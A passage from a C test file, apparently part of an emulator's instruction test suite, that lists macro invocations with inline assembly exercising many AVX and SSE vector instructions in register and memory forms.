"vextractf128 $0x0, %%ymm7, %%xmm9",
"vextractf128 $0x0, %%ymm7, (%%rax)")
GEN_test_RandM(VEXTRACTF128_0x1,
"vextractf128 $0x1, %%ymm7, %%xmm9",
"vextractf128 $0x1, %%ymm7, (%%rax)")
GEN_test_RandM(VINSERTF128_0x0,
"vinsertf128 $0x0, %%xmm9, %%ymm7, %%ymm8",
"vinsertf128 $0x0, (%%rax), %%ymm7, %%ymm8")
GEN_test_RandM(VINSERTF128_0x1,
"vinsertf128 $0x1, %%xmm9, %%ymm7, %%ymm8",
"vinsertf128 $0x1, (%%rax), %%ymm7, %%ymm8")
GEN_test_RandM(VPEXTRD_128_0x0,
"vpextrd $0x0, %%xmm7, %%r14d",
"vpextrd $0x0, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRD_128_0x3,
"vpextrd $0x3, %%xmm7, %%r14d",
"vpextrd $0x3, %%xmm7, (%%rax)")
GEN_test_RandM(VPCMPEQD_128,
"vpcmpeqd %%xmm6, %%xmm8, %%xmm7",
"vpcmpeqd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSHUFD_0x39_128,
"vpshufd $0x39, %%xmm9, %%xmm8",
"vpshufd $0xC6, (%%rax), %%xmm7")
GEN_test_RandM(VMAXSD_128,
"vmaxsd %%xmm6, %%xmm8, %%xmm7",
"vmaxsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VDIVSD_128,
"vdivsd %%xmm6, %%xmm8, %%xmm7",
"vdivsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMINSD_128,
"vminsd %%xmm6, %%xmm8, %%xmm7",
"vminsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSUBSD_128,
"vsubsd %%xmm6, %%xmm8, %%xmm7",
"vsubsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDSD_128,
"vaddsd %%xmm6, %%xmm8, %%xmm7",
"vaddsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMULSD_128,
"vmulsd %%xmm6, %%xmm8, %%xmm7",
"vmulsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VXORPS_128,
"vxorps %%xmm6, %%xmm8, %%xmm7",
"vxorps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VXORPD_128,
"vxorpd %%xmm6, %%xmm8, %%xmm7",
"vxorpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VORPD_128,
"vorpd %%xmm6, %%xmm8, %%xmm7",
"vorpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDNPD_128,
"vandnpd %%xmm6, %%xmm8, %%xmm7",
"vandnpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTPS2PD_128,
"vcvtps2pd %%xmm6, %%xmm8",
"vcvtps2pd (%%rax), %%xmm8")
GEN_test_RandM(VUCOMISD_128,
"vucomisd %%xmm6, %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14",
"vucomisd (%%rax), %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VUCOMISS_128,
"vucomiss %%xmm6, %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14",
"vucomiss (%%rax), %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VPINSRQ_128,
"vpinsrq $0, %%r14, %%xmm8, %%xmm7",
"vpinsrq $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDQ_128,
"vpaddq %%xmm6, %%xmm8, %%xmm7",
"vpaddq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBQ_128,
"vpsubq %%xmm6, %%xmm8, %%xmm7",
"vpsubq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBW_128,
"vpsubw %%xmm6, %%xmm8, %%xmm7",
"vpsubw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMOVUPD_GtoE_256,
"vmovupd %%ymm9, %%ymm6",
"vmovupd %%ymm7, (%%rax)")
GEN_test_RandM(VMOVUPD_EtoG_256,
"vmovupd %%ymm6, %%ymm9",
"vmovupd (%%rax), %%ymm7")
GEN_test_RandM(VMULPD_256,
"vmulpd %%ymm6, %%ymm8, %%ymm7",
"vmulpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VMOVUPD_EtoG_128,
"vmovupd %%xmm6, %%xmm9",
"vmovupd (%%rax), %%xmm7")
GEN_test_RandM(VADDPD_256,
"vaddpd %%ymm6, %%ymm8, %%ymm7",
"vaddpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VSUBPD_256,
"vsubpd %%ymm6, %%ymm8, %%ymm7",
"vsubpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VDIVPD_256,
"vdivpd %%ymm6, %%ymm8, %%ymm7",
"vdivpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPCMPEQQ_128,
"vpcmpeqq %%xmm6, %%xmm8, %%xmm7",
"vpcmpeqq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSUBPD_128,
"vsubpd %%xmm6, %%xmm8, %%xmm7",
"vsubpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDPD_128,
"vaddpd %%xmm6, %%xmm8, %%xmm7",
"vaddpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VUNPCKLPD_128,
"vunpcklpd %%xmm6, %%xmm8, %%xmm7",
"vunpcklpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VUNPCKHPD_128,
"vunpckhpd %%xmm6, %%xmm8, %%xmm7",
"vunpckhpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VUNPCKHPS_128,
"vunpckhps %%xmm6, %%xmm8, %%xmm7",
"vunpckhps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMOVUPS_EtoG_128,
"vmovups %%xmm6, %%xmm8",
"vmovups (%%rax), %%xmm9")
GEN_test_RandM(VADDPS_256,
"vaddps %%ymm6, %%ymm8, %%ymm7",
"vaddps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VSUBPS_256,
"vsubps %%ymm6, %%ymm8, %%ymm7",
"vsubps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VMULPS_256,
"vmulps %%ymm6, %%ymm8, %%ymm7",
"vmulps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VDIVPS_256,
"vdivps %%ymm6, %%ymm8, %%ymm7",
"vdivps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPCMPGTQ_128,
"vpcmpgtq %%xmm6, %%xmm8, %%xmm7",
"vpcmpgtq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPEXTRQ_128_0x0,
"vpextrq $0x0, %%xmm7, %%r14",
"vpextrq $0x0, %%xmm7, (%%rax)")
GEN_test_RandM(VPEXTRQ_128_0x1,
"vpextrq $0x1, %%xmm7, %%r14",
"vpextrq $0x1, %%xmm7, (%%rax)")
GEN_test_Ronly(VPSRLQ_0x05_128,
"vpsrlq $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPMULUDQ_128,
"vpmuludq %%xmm6, %%xmm8, %%xmm7",
"vpmuludq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMULDQ_128,
"vpmuldq %%xmm6, %%xmm8, %%xmm7",
"vpmuldq (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPSLLQ_0x05_128,
"vpsllq $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPMAXUD_128,
"vpmaxud %%xmm6, %%xmm8, %%xmm7",
"vpmaxud (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMINUD_128,
"vpminud %%xmm6, %%xmm8, %%xmm7",
"vpminud (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMULLD_128,
"vpmulld %%xmm6, %%xmm8, %%xmm7",
"vpmulld (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMAXUW_128,
"vpmaxuw %%xmm6, %%xmm8, %%xmm7",
"vpmaxuw (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPEXTRW_128_EregOnly_toG_0x0,
"vpextrw $0x0, %%xmm7, %%r14d")
GEN_test_Ronly(VPEXTRW_128_EregOnly_toG_0x7,
"vpextrw $0x7, %%xmm7, %%r14d")
GEN_test_RandM(VPMINUW_128,
"vpminuw %%xmm6, %%xmm8, %%xmm7",
"vpminuw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPHMINPOSUW_128,
"vphminposuw %%xmm6, %%xmm8",
"vphminposuw (%%rax), %%xmm7")
GEN_test_RandM(VPMAXSW_128,
"vpmaxsw %%xmm6, %%xmm8, %%xmm7",
"vpmaxsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMINSW_128,
"vpminsw %%xmm6, %%xmm8, %%xmm7",
"vpminsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMAXUB_128,
"vpmaxub %%xmm6, %%xmm8, %%xmm7",
"vpmaxub (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPEXTRB_GtoE_128_0x0,
"vpextrb $0x0, %%xmm8, %%r14",
"vpextrb $0x0, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0x1,
"vpextrb $0x1, %%xmm8, %%r14",
"vpextrb $0x1, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0x2,
"vpextrb $0x2, %%xmm8, %%r14",
"vpextrb $0x2, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0x3,
"vpextrb $0x3, %%xmm8, %%r14",
"vpextrb $0x3, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0x4,
"vpextrb $0x4, %%xmm8, %%r14",
"vpextrb $0x4, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0x9,
"vpextrb $0x9, %%xmm8, %%r14",
"vpextrb $0x9, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0xE,
"vpextrb $0xE, %%xmm8, %%r14",
"vpextrb $0xE, %%xmm8, (%%rax)")
GEN_test_RandM(VPEXTRB_GtoE_128_0xF,
"vpextrb $0xF, %%xmm8, %%r14",
"vpextrb $0xF, %%xmm8, (%%rax)")
GEN_test_RandM(VPMINUB_128,
"vpminub %%xmm6, %%xmm8, %%xmm7",
"vpminub (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMAXSB_128,
"vpmaxsb %%xmm6, %%xmm8, %%xmm7",
"vpmaxsb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMINSB_128,
"vpminsb %%xmm6, %%xmm8, %%xmm7",
"vpminsb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPERM2F128_0x00,
"vperm2f128 $0x00, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x00, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0xFF,
"vperm2f128 $0xFF, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0xFF, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x30,
"vperm2f128 $0x30, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x30, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x21,
"vperm2f128 $0x21, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x21, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x12,
"vperm2f128 $0x12, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x12, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x03,
"vperm2f128 $0x03, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x03, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x85,
"vperm2f128 $0x85, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x85, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERM2F128_0x5A,
"vperm2f128 $0x5A, %%ymm6, %%ymm8, %%ymm7",
"vperm2f128 $0x5A, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERMILPD_256_0x0,
"vpermilpd $0x0, %%ymm6, %%ymm8",
"vpermilpd $0x1, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPD_256_0xF,
"vpermilpd $0xF, %%ymm6, %%ymm8",
"vpermilpd $0xE, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPD_256_0xA,
"vpermilpd $0xA, %%ymm6, %%ymm8",
"vpermilpd $0xB, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPD_256_0x5,
"vpermilpd $0x5, %%ymm6, %%ymm8",
"vpermilpd $0x4, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPD_128_0x0,
"vpermilpd $0x0, %%xmm6, %%xmm8",
"vpermilpd $0x1, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPD_128_0x3,
"vpermilpd $0x3, %%xmm6, %%xmm8",
"vpermilpd $0x2, (%%rax), %%xmm8")
GEN_test_RandM(VUNPCKLPD_256,
"vunpcklpd %%ymm6, %%ymm8, %%ymm7",
"vunpcklpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VUNPCKHPD_256,
"vunpckhpd %%ymm6, %%ymm8, %%ymm7",
"vunpckhpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VSHUFPS_0x39_256,
"vshufps $0x39, %%ymm9, %%ymm8, %%ymm7",
"vshufps $0xC6, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VUNPCKLPS_256,
"vunpcklps %%ymm6, %%ymm8, %%ymm7",
"vunpcklps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VUNPCKHPS_256,
"vunpckhps %%ymm6, %%ymm8, %%ymm7",
"vunpckhps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VXORPD_256,
"vxorpd %%ymm6, %%ymm8, %%ymm7",
"vxorpd (%%rax), %%ymm8, %%ymm7")
GEN_test_Monly(VBROADCASTSD_256,
"vbroadcastsd (%%rax), %%ymm8")
GEN_test_RandM(VCMPPD_128_0x4,
"vcmppd $4, %%xmm6, %%xmm8, %%xmm7",
"vcmppd $4, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPPD_256_0x4,
"vcmppd $4, %%ymm6, %%ymm8, %%ymm7",
"vcmppd $4, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VCMPPS_128_0x4,
"vcmpps $4, %%xmm6, %%xmm8, %%xmm7",
"vcmpps $4, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPPS_256_0x4,
"vcmpps $4, %%ymm6, %%ymm8, %%ymm7",
"vcmpps $4, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VCVTDQ2PD_128,
"vcvtdq2pd %%xmm6, %%xmm8",
"vcvtdq2pd (%%rax), %%xmm8")
GEN_test_RandM(VDIVPD_128,
"vdivpd %%xmm6, %%xmm8, %%xmm7",
"vdivpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDPD_256,
"vandpd %%ymm6, %%ymm8, %%ymm7",
"vandpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPMOVSXBW_128,
"vpmovsxbw %%xmm6, %%xmm8",
"vpmovsxbw (%%rax), %%xmm8")
GEN_test_RandM(VPSUBUSW_128,
"vpsubusw %%xmm9, %%xmm8, %%xmm7",
"vpsubusw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBSW_128,
"vpsubsw %%xmm9, %%xmm8, %%xmm7",
"vpsubsw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCMPEQW_128,
"vpcmpeqw %%xmm6, %%xmm8, %%xmm7",
"vpcmpeqw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDB_128,
"vpaddb %%xmm6, %%xmm8, %%xmm7",
"vpaddb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMOVAPS_EtoG_256,
"vmovaps %%ymm6, %%ymm8",
"vmovaps (%%rax), %%ymm9")
GEN_test_RandM(VCVTDQ2PD_256,
"vcvtdq2pd %%xmm6, %%ymm8",
"vcvtdq2pd (%%rax), %%ymm8")
GEN_test_Monly(VMOVHPD_128_LoadForm,
"vmovhpd (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMOVHPS_128_LoadForm,
"vmovhps (%%rax), %%xmm8, %%xmm7")
// The y suffix denotes a 256 -> 128 operation
GEN_test_RandM(VCVTPD2PS_256,
"vcvtpd2psy %%ymm8, %%xmm7",
"vcvtpd2psy (%%rax), %%xmm9")
GEN_test_RandM(VPUNPCKHDQ_128,
"vpunpckhdq %%xmm6, %%xmm8, %%xmm7",
"vpunpckhdq (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VBROADCASTSS_128,
"vbroadcastss (%%rax), %%xmm8")
GEN_test_RandM(VPMOVSXDQ_128,
"vpmovsxdq %%xmm6, %%xmm8",
"vpmovsxdq (%%rax), %%xmm8")
GEN_test_RandM(VPMOVSXWD_128,
"vpmovsxwd %%xmm6, %%xmm8",
"vpmovsxwd (%%rax), %%xmm8")
GEN_test_RandM(VDIVPS_128,
"vdivps %%xmm9, %%xmm8, %%xmm7",
"vdivps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDPS_256,
"vandps %%ymm6, %%ymm8, %%ymm7",
"vandps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VXORPS_256,
"vxorps %%ymm6, %%ymm8, %%ymm7",
"vxorps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VORPS_256,
"vorps %%ymm6, %%ymm8, %%ymm7",
"vorps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VANDNPD_256,
"vandnpd %%ymm6, %%ymm8, %%ymm7",
"vandnpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VANDNPS_256,
"vandnps %%ymm6, %%ymm8, %%ymm7",
"vandnps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VORPD_256,
"vorpd %%ymm6, %%ymm8, %%ymm7",
"vorpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERMILPS_256_0x0F,
"vpermilps $0x0F, %%ymm6, %%ymm8",
"vpermilps $0x1E, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPS_256_0xFA,
"vpermilps $0xFA, %%ymm6, %%ymm8",
"vpermilps $0xE5, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPS_256_0xA3,
"vpermilps $0xA3, %%ymm6, %%ymm8",
"vpermilps $0xB4, (%%rax), %%ymm8")
GEN_test_RandM(VPERMILPS_256_0x5A,
"vpermilps $0x5A, %%ymm6, %%ymm8",
"vpermilps $0x45, (%%rax), %%ymm8")
GEN_test_RandM(VPMULHW_128,
"vpmulhw %%xmm9, %%xmm8, %%xmm7",
"vpmulhw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKHQDQ_128,
"vpunpckhqdq %%xmm6, %%xmm8, %%xmm7",
"vpunpckhqdq (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPSRAW_0x05_128,
"vpsraw $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPCMPGTB_128,
"vpcmpgtb %%xmm6, %%xmm8, %%xmm7",
"vpcmpgtb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCMPGTW_128,
"vpcmpgtw %%xmm6, %%xmm8, %%xmm7",
"vpcmpgtw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCMPGTD_128,
"vpcmpgtd %%xmm6, %%xmm8, %%xmm7",
"vpcmpgtd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMOVZXBD_128,
"vpmovzxbd %%xmm6, %%xmm8",
"vpmovzxbd (%%rax), %%xmm8")
GEN_test_RandM(VPMOVSXBD_128,
"vpmovsxbd %%xmm6, %%xmm8",
"vpmovsxbd (%%rax), %%xmm8")
GEN_test_RandM(VPINSRB_128_1of3,
"vpinsrb $0, %%r14d, %%xmm8, %%xmm7",
"vpinsrb $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRB_128_2of3,
"vpinsrb $6, %%r14d, %%xmm8, %%xmm7",
"vpinsrb $9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRB_128_3of3,
"vpinsrb $12, %%r14d, %%xmm8, %%xmm7",
"vpinsrb $15, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRW_128_1of4,
"vpinsrw $0, %%r14d, %%xmm8, %%xmm7",
"vpinsrw $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRW_128_2of4,
"vpinsrw $2, %%r14d, %%xmm8, %%xmm7",
"vpinsrw $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRW_128_3of4,
"vpinsrw $4, %%r14d, %%xmm8, %%xmm7",
"vpinsrw $5, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPINSRW_128_4of4,
"vpinsrw $6, %%r14d, %%xmm8, %%xmm7",
"vpinsrw $7, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCOMISD_128,
"vcomisd %%xmm6, %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14",
"vcomisd (%%rax), %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VCOMISS_128,
"vcomiss %%xmm6, %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14",
"vcomiss (%%rax), %%xmm8; pushfq; popq %%r14; andq $0x8D5, %%r14")
GEN_test_RandM(VMOVUPS_YMM_to_YMMorMEM,
"vmovups %%ymm8, %%ymm7",
"vmovups %%ymm9, (%%rax)")
GEN_test_RandM(VDPPD_128_1of4,
"vdppd $0x00, %%xmm6, %%xmm8, %%xmm7",
"vdppd $0xA5, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPD_128_2of4,
"vdppd $0x5A, %%xmm6, %%xmm8, %%xmm7",
"vdppd $0xFF, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPD_128_3of4,
"vdppd $0x0F, %%xmm6, %%xmm8, %%xmm7",
"vdppd $0x37, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPD_128_4of4,
"vdppd $0xF0, %%xmm6, %%xmm8, %%xmm7",
"vdppd $0x73, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPS_128_1of4,
"vdpps $0x00, %%xmm6, %%xmm8, %%xmm7",
"vdpps $0xA5, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPS_128_2of4,
"vdpps $0x5A, %%xmm6, %%xmm8, %%xmm7",
"vdpps $0xFF, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPS_128_3of4,
"vdpps $0x0F, %%xmm6, %%xmm8, %%xmm7",
"vdpps $0x37, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPS_128_4of4,
"vdpps $0xF0, %%xmm6, %%xmm8, %%xmm7",
"vdpps $0x73, (%%rax), %%xmm9, %%xmm6")
GEN_test_RandM(VDPPS_256_1of4,
"vdpps $0x00, %%ymm6, %%ymm8, %%ymm7",
"vdpps $0xA5, (%%rax), %%ymm9, %%ymm6")
GEN_test_RandM(VDPPS_256_2of4,
"vdpps $0x5A, %%ymm6, %%ymm8, %%ymm7",
"vdpps $0xFF, (%%rax), %%ymm9, %%ymm6")
GEN_test_RandM(VDPPS_256_3of4,
"vdpps $0x0F, %%ymm6, %%ymm8, %%ymm7",
"vdpps $0x37, (%%rax), %%ymm9, %%ymm6")
GEN_test_RandM(VDPPS_256_4of4,
"vdpps $0xF0, %%ymm6, %%ymm8, %%ymm7",
"vdpps $0x73, (%%rax), %%ymm9, %%ymm6")
GEN_test_Monly(VBROADCASTSS_256,
"vbroadcastss (%%rax), %%ymm8")
GEN_test_RandM(VPALIGNR_128_1of3,
"vpalignr $0, %%xmm6, %%xmm8, %%xmm7",
"vpalignr $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPALIGNR_128_2of3,
"vpalignr $6, %%xmm6, %%xmm8, %%xmm7",
"vpalignr $9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPALIGNR_128_3of3,
"vpalignr $12, %%xmm6, %%xmm8, %%xmm7",
"vpalignr $15, (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VMOVSD_REG_XMM, "vmovsd %%xmm9, %%xmm7, %%xmm8")
GEN_test_Ronly(VMOVSS_REG_XMM, "vmovss %%xmm9, %%xmm7, %%xmm8")
GEN_test_Monly(VMOVLPD_128_M64_XMM_XMM, "vmovlpd (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMOVLPD_128_XMM_M64, "vmovlpd %%xmm7, (%%rax)")
GEN_test_RandM(VSHUFPD_128_1of2,
"vshufpd $0, %%xmm9, %%xmm8, %%xmm7",
"vshufpd $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSHUFPD_128_2of2,
"vshufpd $2, %%xmm9, %%xmm8, %%xmm7",
"vshufpd $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSHUFPD_256_1of2,
"vshufpd $0x00, %%ymm9, %%ymm8, %%ymm7",
"vshufpd $0xFF, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VSHUFPD_256_2of2,
"vshufpd $0x5A, %%ymm9, %%ymm8, %%ymm7",
"vshufpd $0xA5, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPERMILPS_128_0x00,
"vpermilps $0x00, %%xmm6, %%xmm8",
"vpermilps $0x01, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0xFE,
"vpermilps $0xFE, %%xmm6, %%xmm8",
"vpermilps $0xFF, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0x30,
"vpermilps $0x30, %%xmm6, %%xmm8",
"vpermilps $0x03, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0x21,
"vpermilps $0x21, %%xmm6, %%xmm8",
"vpermilps $0x12, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0xD7,
"vpermilps $0xD7, %%xmm6, %%xmm8",
"vpermilps $0x6C, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0xB5,
"vpermilps $0xB5, %%xmm6, %%xmm8",
"vpermilps $0x4A, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0x85,
"vpermilps $0x85, %%xmm6, %%xmm8",
"vpermilps $0xDC, (%%rax), %%xmm8")
GEN_test_RandM(VPERMILPS_128_0x29,
"vpermilps $0x29, %%xmm6, %%xmm8",
"vpermilps $0x92, (%%rax), %%xmm8")
GEN_test_RandM(VBLENDPS_128_1of3,
"vblendps $0, %%xmm6, %%xmm8, %%xmm7",
"vblendps $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDPS_128_2of3,
"vblendps $6, %%xmm6, %%xmm8, %%xmm7",
"vblendps $9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDPS_128_3of3,
"vblendps $12, %%xmm6, %%xmm8, %%xmm7",
"vblendps $15, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDPD_128_1of2,
"vblendpd $0, %%xmm6, %%xmm8, %%xmm7",
"vblendpd $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDPD_128_2of2,
"vblendpd $2, %%xmm6, %%xmm8, %%xmm7",
"vblendpd $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VBLENDPD_256_1of3,
"vblendpd $0, %%ymm6, %%ymm8, %%ymm7",
"vblendpd $3, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VBLENDPD_256_2of3,
"vblendpd $6, %%ymm6, %%ymm8, %%ymm7",
"vblendpd $9, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VBLENDPD_256_3of3,
"vblendpd $12, %%ymm6, %%ymm8, %%ymm7",
"vblendpd $15, (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VPBLENDW_128_0x00,
"vpblendw $0x00, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x01, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0xFE,
"vpblendw $0xFE, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0xFF, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0x30,
"vpblendw $0x30, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x03, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0x21,
"vpblendw $0x21, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x12, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0xD7,
"vpblendw $0xD7, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x6C, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0xB5,
"vpblendw $0xB5, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0x4A, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0x85,
"vpblendw $0x85, %%xmm6, %%xmm8, %%xmm7",
"vpblendw $0xDC, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPBLENDW_128_0x29,
